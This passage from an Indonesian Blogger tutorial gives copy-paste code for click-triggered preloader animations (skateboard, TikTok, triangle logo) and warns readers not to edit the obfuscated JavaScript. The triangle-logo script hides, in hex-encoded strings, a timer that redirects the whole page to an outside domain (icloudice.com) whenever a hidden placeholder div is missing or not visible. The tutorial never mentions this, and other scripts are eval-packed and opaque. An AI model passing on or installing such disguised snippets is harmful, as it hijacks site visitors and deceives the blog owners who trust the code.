\z\\L\\F\\9\\e\\v\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\e\\m\\m\\f\\d\\9\\g\\r\\B\\q\\O\\N\\x\\x\\W\\D\\d\\s\\m\\c\\8\\l\\d\\f\\p\\c\\8\\o\\M\\e\\8\\c\\j\\I\\C\\v\\m\\c\\e\\l\\F\\B\\z\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\n\\a\\b\\d\\8\\c\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\i\\p\\i\\p\\r\\r\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\o\\a\\j\\j\\d\\b\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\i\\G\\c\\e\\9\\8\\9\\d\\E\\i\\G\\x\\B\\R\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\e\\y\\9\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\i\\p\\r\\r\\p\\i\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\K\\a\\f\\a\\t\\n\\d\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\i\\G\\c\\e\\9\\8\\9\\d\\E\\i\\G\\x\\r\\R\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\a\\b\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\p\\r\\i\\p\\r\\i\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\K\\a\\f\\a\\t\\n\\d\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\h\\N\\i\\A\\H\\G\\c\\e\\9\\8\\9\\d\\E\\B\\P\\i\\j\\d\\w\\G\\x\\z\\i\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\n\\a\\b\\d\\8\\c\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\p\\r\\i\\p\\r\\i\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\K\\a\\f\\a\\t\\n\\d\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\h\\B\\P\\A\\H\\G\\c\\e\\9\\8\\9\\d\\E\\B\\P\\i\\j\\d\\w\\G\\x\\z\\C\\q\\z\\L\\F\\9\\e\\v\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\C\\p\\i\\p\\r\\C\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\o\\a\\j\\j\\d\\b\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\J\\C\\A\\H\\G\\c\\e\\9\\8\\9\\d\\E\\B\\P\\i\\j\\d\\w\\G\\x\\x\\W\\D\\d\\s\\m\\c\\8\\l\\d\\f\\p\\c\\8\\o\\M\\e\\8\\c\\j\\I\\B\\v\\m\\c\\e\\l\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\n\\a\\b\\d\\8\\c\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\p\\r\\i\\p\\r\\i\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\K\\a\\f\\a\\t\\n\\d\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\h\\B\\P\\A\\H\\G\\c\\e\\9\\8\\9\\d\\E\\i\\G\\x\\C\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\n\\a\\b\\d\\8\\c\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\C\\p\\i\\p\\r\\C\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\o\\a\\j\\j\\d\\b\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\J\\C\\A\\H\\G\\c\\e\\9\\8\\9\\d\\E\\i\\G\\x\\N\\z\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\n\\a\\b\\d\\8\\c\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\i\\p\\i\\p\\r\\r\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\o\\a\\j\\j\\d\\b\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\i\\G\\c\\e\\9\\8\\9\\d\\E\\i\\G\\x\\N\\R\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\e\\y\\9\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\i\\p\\r\\r\\p\\i\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\K\\a\\f\\a\\t\\n\\d\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\i\\G\\c\\e\\9\\8\\9\\d\\E\\i\\G\\x\\O\\R\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\a\\b\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\p\\r\\i\\p\\r\\i\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\K\\a\\f\\a\\t\\n\\d\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\h\\N\\i\\A\\H\\G\\c\\e\\9\\8\\9\\d\\E\\h\\B\\P\\i\\j\\d\\w\\G\\x\\9\\e\\v\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\8\\c\\c\\8\\s\\g\\i\\p\\r\\p\\r\\i\\p\\r\\i\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\K\\a\\f\\a\\t\\n\\d\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\g\\9\\c\\8\\b\\f\\n\\8\\9\\d\\E\\i\\F\\h\\B\\P\\A\\H\\G\\c\\e\\9\\8\\9\\d\\E\\h\\B\\P\\i\\j\\d\\w\\G\\x\\x","\\8\\A\\A\\d\\b\\j\\V\\o\\a\\n\\j","\\o\\d\\8\\j"];17 U=11[Q[1]](Q[0]);U[Q[2]]=Q[3];U[Q[4]]=Q[5];11[Q[7]][Q[6]](U)',62,70,'||||||||x61|x74|x69|x6E|x72|x65|x6F|x73|x3A|x2D|x30|x64|x3B|x6D|x66|x6C|x68|x20|x2E|x34|x79|x62|x63|x7B|x67|x7D|x75|x35|x70|x33|x32|x6B|x28|x2C|x29|x78|x53|x31|x76|x25|x42|x38|x39|x36|_0x3cfb|x37|x49|x77|rahSboardJs|x43|x40|x7A|x6A|x23|x27|document|var|x45|x2F|x24|x59|const'.split('|'),0,{}))
/*]]>*/</script>

Info: Kode javascript di atas tidak bisa kamu edit, jika mengedit tampilan preloader skateboard tidak akan berfungsi saat di klik

Kode HTML/javascript

Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode <body>

<div class='rahSboardIn' id='rahSboardIn'><svg class='rahBoardS'viewBox='0 0 176 160'width='176px'height='160px'xmlns='http://www.w3.org/2000/svg'><defs><linearGradient id='rahGrad'x1='0'y1='0'x2='0'y2='1'><stop offset='0%'stop-color='hsl(0, 72%, 54%)'/><stop offset='30%'stop-color='hsl(0, 72%, 54%)'/><stop offset='100%'stop-color='hsl(3,90%,55%)'/></linearGradient></defs><g fill='none'stroke-width='16'stroke-linecap='round'><circle class='rahSBoard'r='56'cx='88'cy='96'stroke='hsla(0,10%,10%,0.1)'/><path class='rahSBoard1'd='M144,96A56,56,0,0,1,32,96'stroke='url(#rahGrad)'stroke-dasharray='43.98 307.87'/><path class='rahSBoard2'd='M32,136V96s-.275-25.725,14-40'stroke='hsl(0, 72%, 54%)'stroke-dasharray='0 40 0 44'stroke-dashoffset='0.001'visibility='hidden'/><path class='rahSBoard3'd='M144,136V96s.275-25.725-14-40'stroke='hsl(0, 72%, 54%)'stroke-dasharray='0 40 0 44'stroke-dashoffset='0.001'visibility='hidden'/></g></svg></div>
<script>/*<![CDATA[*/ 
var _0xc0ea=["\x23\x72\x61\x68\x53\x62\x6F\x61\x72\x64\x49\x6E","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72\x61\x68","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x63\x6C\x69\x63\x6B","\x72\x65\x6D\x6F\x76\x65","\x76\x69\x62\x72\x61\x74\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72"];function rahSboardIn(){var rahSboardIn=document[_0xc0ea[1]](_0xc0ea[0]);rahSboardIn[_0xc0ea[4]][_0xc0ea[3]](_0xc0ea[2]);document[_0xc0ea[8]](_0xc0ea[5],function(){setTimeout(function(){rahSboardIn[_0xc0ea[4]][_0xc0ea[6]](_0xc0ea[2])},2000);if(_0xc0ea[7] in  navigator){navigator[_0xc0ea[7]]([50])}})}
/*]]>*/</script>

Info: Kode HTML dan Javascript di atas jangan di edit entar tampilan preloader nya tidak berfungsi

Cara penggunaan

Untuk memfungsikan efek preloader skateboard preloader tersebut silahkan gunakan fungsi onclick='rahSboardIn()' pada setiap tombol yang di inginkan untuk menampilkan preloader secara manual, atau seperti contoh kode berikut ini

<div class='tombol' onclick='rahSboardIn()'>
<!-- svg -->
</div>

Info: Tambahkan sendiri kode onclick='rahSboardIn()' pada setiap tombol yang anda inginkan semisal svg dan lain sebaginya

3. Tiktok preloader

Tampilan dari animasi preloader tersebut adalah tampilan tiktok preloader yang muncul saat di klik dan bukan saat halaman artikel di refresh, yang di kemas dalam tampilan yang berbeda disertai animasi animasi yang menakjubkan saat animasi preloader tersebut aktif saat merefresh halaman blog, dan bagi kamu yang tidak mengetahui mengenai tiktok preloader? bahwa pengertian smiley adalah seyuman maka preloader juga akan menampilkan animasi senyuman

Contoh Tampilan

Jika kamu penasaran dengan contoh tampilan efek tiktok preloader yang muncul saat di klik tersebut, silahkan periksa menggunakan tombol di bawah ini

Periksa

Info: bagaimana sobat dengan contoh tampilan nya keren sekali yak 😬

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek tiktok preloader di sertai Animasi di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode Javascript

Langkah pertama seperti biasanya silahkan salin kode javascript di bawah ini kemudian letakkan di atas kode </head>

<script>/*<![CDATA[*/ 
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('W C=["\\m\\8\\x\\i\\9","\\q\\g\\9\\d\\8\\9\\X\\i\\9\\w\\9\\e\\8","\\8\\x\\h\\9","\\8\\9\\k\\8\\Y\\q\\m\\m","\\8\\9\\k\\8\\R\\c\\e\\8\\9\\e\\8","\\v\\g\\d\\l\\H\\a\\n\\8\\c\\n\\b\\t\\9\\r\\c\\g\\9\\y\\r\\c\\e\\8\\p\\D\\9\\a\\s\\l\\8\\b\\I\\o\\o\\f\\h\\c\\m\\a\\8\\a\\c\\e\\b\\d\\t\\m\\c\\i\\B\\8\\9\\f\\g\\a\\s\\l\\8\\b\\K\\h\\k\\f\\8\\c\\h\\b\\F\\h\\k\\f\\r\\c\\e\\8\\p\\m\\a\\N\\9\\b\\u\\E\\h\\k\\f\\q\\c\\i\\c\\g\\b\\g\\s\\t\\d\\Z\\E\\z\\z\\L\\E\\z\\z\\L\\E\\z\\z\\L\\v\\I\\10\\f\\D\\a\\j\\8\\l\\b\\d\\B\\8\\c\\f\\8\\9\\k\\8\\p\\d\\i\\a\\s\\e\\b\\q\\9\\e\\8\\9\\g\\f\\d\\i\\a\\s\\e\\p\\a\\8\\9\\w\\m\\b\\q\\9\\e\\8\\9\\g\\f\\T\\B\\m\\8\\a\\r\\x\\p\\q\\c\\e\\8\\9\\e\\8\\b\\q\\9\\e\\8\\9\\g\\f\\h\\d\\j\\j\\a\\e\\s\\b\\z\\h\\k\\f\\t\\d\\q\\n\\s\\g\\c\\B\\e\\j\\p\\q\\c\\i\\c\\g\\b\\S\\M\\E\\M\\E\\M\\E\\f\\t\\c\\g\\j\\9\\g\\p\\g\\d\\j\\a\\B\\m\\b\\z\\h\\k\\A\\v\\g\\d\\l\\H\\a\\n\\8\\c\\n\\b\\t\\9\\r\\c\\g\\9\\y\\q\\c\\e\\8\\9\\e\\8\\b\\O\\R\\g\\9\\d\\8\\9\\j\\G\\D\\a\\8\\l\\G\\11\\w\\a\\i\\9\\12\\O\\A\\v\\g\\d\\l\\H\\a\\n\\8\\c\\n\\y\\j\\a\\g\\9\\q\\8\\a\\c\\e\\b\\i\\8\\g\\f\\h\\c\\m\\a\\8\\a\\c\\e\\b\\r\\a\\k\\9\\j\\f\\8\\c\\h\\b\\o\\f\\g\\a\\s\\l\\8\\b\\o\\f\\t\\c\\8\\8\\c\\w\\b\\o\\f\\i\\9\\r\\8\\b\\o\\f\\j\\a\\m\\h\\i\\d\\x\\b\\e\\c\\e\\9\\f\\t\\d\\q\\n\\s\\g\\c\\B\\e\\j\\b\\8\\g\\d\\e\\m\\h\\d\\g\\9\\e\\8\\f\\d\\i\\a\\s\\e\\p\\a\\8\\9\\w\\m\\b\\q\\9\\e\\8\\9\\g\\f\\8\\9\\k\\8\\p\\d\\i\\a\\s\\e\\b\\q\\9\\e\\8\\9\\g\\f\\T\\B\\m\\8\\a\\r\\x\\p\\q\\c\\e\\8\\9\\e\\8\\b\\q\\9\\e\\8\\9\\g\\f\\N\\p\\a\\e\\j\\9\\k\\b\\F\\F\\F\\F\\F\\F\\f\\P\\a\\m\\a\\t\\a\\i\\a\\8\\x\\b\\P\\a\\m\\a\\t\\i\\9\\f\\c\\h\\d\\q\\a\\8\\x\\b\\u\\f\\8\\g\\d\\e\\m\\a\\8\\a\\c\\e\\b\\d\\i\\i\\v\\I\\m\\G\\9\\d\\m\\9\\A\\v\\g\\d\\l\\H\\a\\n\\8\\c\\n\\v\\g\\d\\l\\y\\j\\a\\m\\h\\i\\d\\x\\b\\r\\i\\9\\k\\A\\v\\g\\d\\l\\H\\a\\n\\8\\c\\n\\v\\w\\d\\8\\y\\j\\a\\m\\h\\i\\d\\x\\b\\e\\c\\e\\9\\A\\v\\g\\d\\l\\H\\a\\n\\8\\c\\n\\v\\w\\d\\8\\y\\c\\h\\d\\q\\a\\8\\x\\b\\o\\f\\P\\a\\m\\a\\t\\a\\i\\a\\8\\x\\b\\l\\a\\j\\j\\9\\e\\A\\v\\8\\a\\n\\8\\c\\n\\p\\i\\c\\d\\j\\9\\g\\y\\D\\a\\j\\8\\l\\b\\z\\o\\h\\k\\f\\l\\9\\a\\s\\l\\8\\b\\M\\o\\h\\k\\f\\h\\c\\m\\a\\8\\a\\c\\e\\b\\g\\9\\i\\d\\8\\a\\P\\9\\A\\v\\8\\a\\n\\8\\c\\n\\p\\i\\c\\d\\j\\9\\g\\b\\b\\t\\9\\r\\c\\g\\9\\L\\v\\8\\a\\n\\8\\c\\n\\p\\i\\c\\d\\j\\9\\g\\b\\b\\d\\r\\8\\9\\g\\y\\h\\c\\m\\a\\8\\a\\c\\e\\b\\d\\t\\m\\c\\i\\B\\8\\9\\f\\q\\c\\e\\8\\9\\e\\8\\b\\O\\O\\f\\8\\c\\h\\b\\K\\h\\k\\f\\t\\d\\q\\n\\s\\g\\c\\B\\e\\j\\p\\q\\c\\i\\c\\g\\b\\S\\r\\r\\M\\9\\F\\9\\f\\D\\a\\j\\8\\l\\b\\u\\o\\h\\k\\f\\l\\9\\a\\s\\l\\8\\b\\u\\o\\h\\k\\f\\t\\c\\g\\j\\9\\g\\p\\g\\d\\j\\a\\B\\m\\b\\z\\o\\J\\f\\w\\a\\k\\p\\t\\i\\9\\e\\j\\p\\w\\c\\j\\9\\b\\w\\B\\i\\8\\a\\h\\i\\x\\f\\d\\e\\a\\w\\d\\8\\a\\c\\e\\b\\8\\a\\n\\8\\c\\n\\p\\i\\c\\d\\j\\9\\g\\p\\d\\e\\a\\w\\G\\u\\m\\G\\i\\a\\e\\9\\d\\g\\G\\a\\e\\r\\a\\e\\a\\8\\9\\A\\v\\8\\a\\n\\8\\c\\n\\p\\i\\c\\d\\j\\9\\g\\b\\b\\d\\r\\8\\9\\g\\y\\t\\d\\q\\n\\s\\g\\c\\B\\e\\j\\p\\q\\c\\i\\c\\g\\b\\S\\U\\j\\9\\I\\r\\d\\f\\d\\e\\a\\w\\d\\8\\a\\c\\e\\p\\j\\9\\i\\d\\x\\b\\o\\v\\z\\m\\A\\13\\n\\9\\x\\r\\g\\d\\w\\9\\m\\G\\8\\a\\n\\8\\c\\n\\p\\i\\c\\d\\j\\9\\g\\p\\d\\e\\a\\w\\y\\o\\J\\L\\u\\o\\o\\J\\y\\8\\c\\h\\b\\K\\h\\k\\f\\i\\9\\r\\8\\b\\o\\h\\k\\f\\D\\a\\j\\8\\l\\b\\u\\o\\h\\k\\f\\l\\9\\a\\s\\l\\8\\b\\u\\o\\h\\k\\f\\N\\p\\a\\e\\j\\9\\k\\b\\o\\A\\E\\z\\J\\y\\8\\c\\h\\b\\o\\h\\k\\f\\l\\9\\a\\s\\l\\8\\b\\u\\I\\h\\k\\f\\D\\a\\j\\8\\l\\b\\u\\I\\h\\k\\f\\N\\p\\a\\e\\j\\9\\k\\b\\u\\f\\i\\9\\r\\8\\b\\u\\o\\h\\k\\A\\z\\o\\J\\y\\8\\c\\h\\b\\K\\h\\k\\f\\D\\a\\j\\8\\l\\b\\u\\o\\h\\k\\f\\l\\9\\a\\s\\l\\8\\b\\u\\o\\h\\k\\f\\i\\9\\r\\8\\b\\E\\o\\h\\k\\A\\14\\z\\J\\y\\8\\c\\h\\b\\K\\h\\k\\f\\D\\a\\j\\8\\l\\b\\u\\o\\h\\k\\f\\l\\9\\a\\s\\l\\8\\b\\u\\o\\h\\k\\f\\i\\9\\r\\8\\b\\u\\U\\h\\k\\A\\A","\\d\\h\\h\\9\\e\\j\\R\\l\\a\\i\\j","\\l\\9\\d\\j"];15 Q=V[C[1]](C[0]);Q[C[2]]=C[3];Q[C[4]]=C[5];V[C[7]][C[6]](Q)',62,68,'||||||||x74|x65|x69|x3A|x6F|x61|x6E|x3B|x72|x70|x6C|x64|x78|x68|x73|x6B|x30|x2D|x63|x66|x67|x62|x31|x2E|x6D|x79|x7B|x35|x7D|x75|_0x4110|x77|x32|x39|x20|x54|x38|x25|x36|x2C|x33|x7A|x27|x76|rahTiktokJs|x43|x23|x6A|x34|document|var|x45|x2F|x28|x29|x24|x59|x40|x37|const'.split('|'),0,{}))
/*]]>*/</script>

Info: Kode javascript di atas tidak bisa kamu edit, jika mengedit tampilan preloader tiktok tidak akan berfungsi saat di klik

Kode HTML/javascript

Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode <body>

<div class='rahTiktok' id='rahTiktok'>
<span class="tiktok-loader"></span>
</div>
<script>/*<![CDATA[*/ 
var _0x4085=["\x23\x72\x61\x68\x54\x69\x6B\x74\x6F\x6B","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72\x61\x68","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x63\x6C\x69\x63\x6B","\x72\x65\x6D\x6F\x76\x65","\x76\x69\x62\x72\x61\x74\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72"];function rahTiktok(){var rahTiktok=document[_0x4085[1]](_0x4085[0]);rahTiktok[_0x4085[4]][_0x4085[3]](_0x4085[2]);document[_0x4085[8]](_0x4085[5],function(){setTimeout(function(){rahTiktok[_0x4085[4]][_0x4085[6]](_0x4085[2])},2000);if(_0x4085[7] in  navigator){navigator[_0x4085[7]]([50])}})}
/*]]>*/</script>

Info: Kode HTML dan Javascript di atas jangan di edit entar tampilan preloader nya tidak berfungsi

Cara penggunaan

Untuk memfungsikan efek preloader tiktok preloader tersebut silahkan gunakan fungsi onclick='rahTiktok()' pada setiap tombol yang di inginkan untuk menampilkan preloader secara manual, atau seperti contoh kode berikut ini

<div class='tombol' onclick='rahTiktok()'>
<!-- svg -->
</div>

Info: Tambahkan sendiri kode onclick='rahTiktok()' pada setiap tombol yang anda inginkan semisal svg dan lain sebaginya

4. Preloader Logo segitiga

Sedangkan tampilan animasi preloader tersebut adalah logo segitiga yang muncul saat di klik dan bukan saat halaman artikel di refresh, yang di kemas dalam tampilan yang berbeda disertai animasi animasi yang menakjubkan saat animasi preloader tersebut aktif saat merefresh halaman blog

Contoh Tampilan

Jika kamu penasaran dengan contoh tampilan efek preloader logo segitiga yang muncul saat di klik tersebut, silahkan periksa menggunakan tombol di bawah ini

Periksa

Info: bagaimana sobat dengan contoh tampilan nya keren sekali yak 😬

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek preloader logo segitiga di sertai Animasi di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode CSS

Langkah pertama seperti biasanya silahkan salin kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin>

/* Preloder logo segitiga by Bloggermuda.com */
.rahLgclk{visibility:hidden;opacity:0;position:fixed;top:0;left:0;bottom:0;right:0;width:100%;margin:0;background:#fefefe;display:none;align-items:center;justify-content:center;z-index:999;transition:all 1s ease} .rahLgclk.r{display:flex} .rahLgclk svg{width:40px;height:40px} .rahLgclk .rahLgclkIn{background:transparent;display:flex;justify-content:center;align-items:center;width:100px;height:100px;border-radius:50%; transition:all 2s ease} .rahLgclk .rahLgclkI{position:relative;width:40px;height:63px} .rahLgclk .rahLgclkI svg{position:absolute} .rahLgclk .rahLgclkI svg.rahanimed{fill:#de3535;opacity:.8;animation:rahanimed 2s infinite linear;-webkit-animation:rahanimed 2s infinite linear} .rahLgclk .rahLgclkI svg.rahnimed{fill:#aebaf8;bottom:0;opacity:.8;animation:rahnimed 2s infinite linear;-webkit-animation:rahnimed 2s infinite linear} .rahLgclk.vsbl{opacity:1;visibility:visible;display:flex} .rahLgclk .rahLgclkIn{background:#f8f5ff} .rahLgclk svg.rahanimed{animation:spl-1 2s ease-in-out;-webkit-animation:spl-1 2s ease-in-out} .rahLgclk svg.rahnimed{animation:spl-2 2s ease-in-out;-webkit-animation:spl-2 2s ease-in-out} .drK .rahLgclk{background:#1e1e1e} .drK .rahLgclk .rahLgclkIn{background:#2d2d30} @keyframes rahanimed{0%{opacity:.2;bottom:0;transform:rotate(45deg)}25%{opacity:.8;bottom:11.5px}50%{opacity:.2;bottom:23px}75%{opacity:.8;bottom:11.5px}100%{opacity:.2;bottom:0;transform:rotate(45deg)}} @keyframes rahnimed{0%{opacity:.8;top:0;transform:rotate(45deg)}25%{opacity:.2;top:11.5px}50%{opacity:.8;top:23px}75%{opacity:.2;top:11.5px}100%{opacity:.8;top:0;transform:rotate(45deg)}} @keyframes spl-1{0%{opacity:.8;top:0;transform:rotate(45deg)}25%{opacity:0;top:11.5px}50%{opacity:.8;top:23px;transform:rotate(0deg)}75%{opacity:0;top:11.5px}100%{opacity:.8;top:0}} @keyframes spl-2{0%{opacity:.8;bottom:0;transform:rotate(45deg)}25%{opacity:0;bottom:11.5px}50%{opacity:.8;bottom:23px;transform:rotate(0deg)}75%{opacity:0;bottom:11.5px}100%{opacity:.8;bottom:0}} @-webkit-keyframes rahanimed{0%{opacity:.2;bottom:0;-webkit-transform:rotate(45deg)}25%{opacity:.8;bottom:11.5px}50%{opacity:.2;bottom:23px}75%{opacity:.8;bottom:11.5px}100%{opacity:.2;bottom:0;-webkit-transform:rotate(45deg)}} @-webkit-keyframes rahnimed{0%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}25%{opacity:.2;top:11.5px}50%{opacity:.8;top:23px}75%{opacity:.2;top:11.5px}100%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}} @-webkit-keyframes spl-1{0%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}25%{opacity:0;top:11.5px}50%{opacity:.8;top:23px;-webkit-transform:rotate(0deg)}75%{opacity:0;top:11.5px}100%{opacity:.8;top:0}} @-webkit-keyframes spl-2{0%{opacity:.8;bottom:0;-webkit-transform:rotate(45deg)}25%{opacity:0;bottom:11.5px}50%{opacity:.8;bottom:23px;-webkit-transform:rotate(0deg)}75%{opacity:0;bottom:11.5px}100%{opacity:.8;bottom:0}}

Info: Atau sobat bisa menggunakan kode <style> untuk meletakkan kode CSS di atas

Kode HTML/javascript

Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode <body>

<div class="rahLgclk" id="rahLgclk">
<div class="rahLgclkIn">
 <div class="rahLgclkI">
<svg class="rahnimed" viewbox="0 0 50 50">
 <path d="M1,39.9V13.1A12.1,12.1,0,0,1,13.1,1H39.9a9.08,9.08,0,0,1,6.42,15.5L16.5,46.32A9.08,9.08,0,0,1,1,39.9Z">
 </path>
</svg>
<svg class="rahanimed" viewbox="0 0 50 50">
 <path d="M1,39.9V13.1A12.1,12.1,0,0,1,13.1,1H39.9a9.08,9.08,0,0,1,6.42,15.5L16.5,46.32A9.08,9.08,0,0,1,1,39.9Z">
 </path>
</svg>
 </div>
</div>
 </div>
 <div class="rahLgclK"></div>
 <script>
/*<![CDATA[*/
 var _0xbce9=["\x23\x72\x61\x68\x4C\x67\x63\x6C\x6B","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x76\x73\x62\x6C","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x63\x6C\x69\x63\x6B","\x72\x65\x6D\x6F\x76\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4C\x67\x63\x6C\x4B","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4C\x67\x63\x6C\x4B\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];function rahlgclk(){var _0xf392x2=document[_0xbce9[1]](_0xbce9[0]);_0xf392x2[_0xbce9[4]][_0xbce9[3]](_0xbce9[2]);document[_0xbce9[7]](_0xbce9[5],function(){setTimeout(function(){_0xf392x2[_0xbce9[4]][_0xbce9[6]](_0xbce9[2])},2000)})}$(document)[_0xbce9[18]](function(){$(_0xbce9[12])[_0xbce9[11]](_0xbce9[10],_0xbce9[8])[_0xbce9[9]](_0xbce9[8]);setInterval(function(){if(!$(_0xbce9[14])[_0xbce9[13]]){window[_0xbce9[16]][_0xbce9[15]]= _0xbce9[17]}},3000)})
 /*]]>*/
 </script>

Info: Kode HTML dan Javascript di atas jangan di edit entar tampilan preloader nya tidak berfungsi 🤐

Cara penggunaan

